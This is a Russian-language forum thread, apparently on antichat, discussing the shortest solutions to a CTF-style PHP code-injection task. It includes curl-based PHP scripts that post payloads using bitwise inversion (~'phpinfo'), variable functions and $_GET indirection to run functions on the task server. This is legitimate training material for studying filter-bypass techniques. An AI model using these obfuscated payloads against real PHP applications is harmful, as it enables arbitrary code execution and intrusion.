Пояснения про самый короткий вариант. Он конечно будет с применением ~ - побитовая инверсия символов строки. Поскольку инверсия - обратимая операция, т.е. двойное ее применение дает исходную строку. ~~'phpinfo' =='phpinfo'; Короче этой нотации просто нет. И, на заметку, ~string без кавычек выбросит нотис (Use of undefined constant phpinfo), но тоже будет работать на символах алфавита и некоторых других, скобки воспринимаются как конец строки . Проверял два варианта, при первой проверке получил одинаковую длину решения и в дальнейшем оптимизировал только тот, в котором вся посылка умещается в input. Уж не знаю, обсчитался в количестве символов, или просто записал неоптимально, но шутка Лайта зашла и повторная проверка показала, что вариант с раздельной нагрузкой post +get действительно короче. В первом варианте переменной $_ присваивается строка ~~'phpinfo', а потом вызывается функция из имени переменной $_(). Spoiler: v1 <? $u='http://task.antichat.com:10002/index.php'; $p='$_=~'.~'phpinfo'.';$_()'; echo $p, strlen($p); echo mp($u, $p); function mp($url,$post=''){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch,CURLOPT_POSTFIELDS,'input='.$post); $result = @curl_exec($ch); curl_close($ch); return $result; } Второй вариант проделывает эту же манипуляцию с массивом $_GET. Spoiler: v2 <? $u='http://task.antichat.com:10002/index.php?_=phpinfo'; $p='${~'.~'_GET'.'}[_]()'; echo $p, strlen($p); echo mp($u, $p); function mp($url,$post=''){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch,CURLOPT_POSTFIELDS,'input='.$post); $result = @curl_exec($ch); curl_close($ch); return $result; } здесь $_GET['_'] = 'phpinfo'. Поскольку вариант ищем короткий, то кавычки не ставим, нотисы не мешают выполнить код. Кстати l1ght тоже нашел оба эти варианта, но не отписал ТС, видимо решив, что я передам, ну или для него это не очень значимо. В любом случае, восстанавливаю справедливость. Самый короткий вариант за Лайтом. PS Забыл пояснить курл нотацию, или "Сложный (фигурный) синтаксис", внутри ${} может быть переменная или функция.
У меня вопрос, достаточно ли понятно описаны решения, смысл этих "кракобляков" понятен, или нужны дополнительные разъяснения? Следующее задание будет тоже из разряда простых, но дальше будем набирать обороты и важно не растерять Ваше внимание и понимание.
Мне, как человеку, который знает php на уровне скриптов под апи вк - было всё понятно. Очень здорово. У меня не совсем по "краказябрам" вопрос.. В ответах к теме люди писали что использовали burp и sqlmap для поиска решения, так вот, меня заинтересовало как именно это происходило. Насчет XSS - всё понятно, есть плагин бурповский xss-validator который автоматически проверяет на "алерты", а как поиск происходил в данном случае? Ручками?
Та дам! Лайт прислал решение на 12 символов. Первоначально не поверил ему, поскольку этот вариант я проверял, минимум дважды, должен работать, но не работает. Раскомментировал строку //$p='(~'.~'phpinfo'.')()'; работает. Spoiler <? $u='http://task.antichat.com:10002/index.php?_=phpinfo'; $p='(~'.~'phpinfo'.')()'; echo $p, strlen($p); echo mp($u, $p); function mp($url,$post=''){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch,CURLOPT_POSTFIELDS,'input='.$post); $result = @curl_exec($ch); curl_close($ch); return $result; } Эту магию оставил на потом разбираться, сейчас больше интересует магия скобок. Давайте добивать вместе. Я когда экспериментировал, исходил из того, что запись (здесь чего то) означает, что внутри скобок находится строка, сейчас не помню где, поищю, но скобки - это еще один способ записи строки, например конструкция (int)$var использует его. В результате $a=~'phpinfo'; print ~$a; получается не строка, возможно константа. А скобки принудительно заставляют воспринимать, как строку $a=~'phpinfo';(~$a)(); Есть еще вариант объяснения, что скобки это просто последовательность операций и в пользу этого говорят проверки Code: eval('print (3-2)()'.';'); - Function name must be a string eval('print ("2"+"2")()'.';'); - Function name must be a string eval('print (2*2)()'.';');- Function name must be a string По крайней мере, это точно не преобразование в строку. Кстати эта конструкция работает только на семерке, а в пятой ветке не работает. == PS Лайт - красавчик. #этапять но поскольку отказался оформить пост, то #этаужечетыре и нет возможности закидать его репой (((. == PS2 Вот чем хорошо, когда команда ресерчит, вариантов набирается много и разных, и задание вроде бы простое, а превращается в нормальное, полноценное, интересное.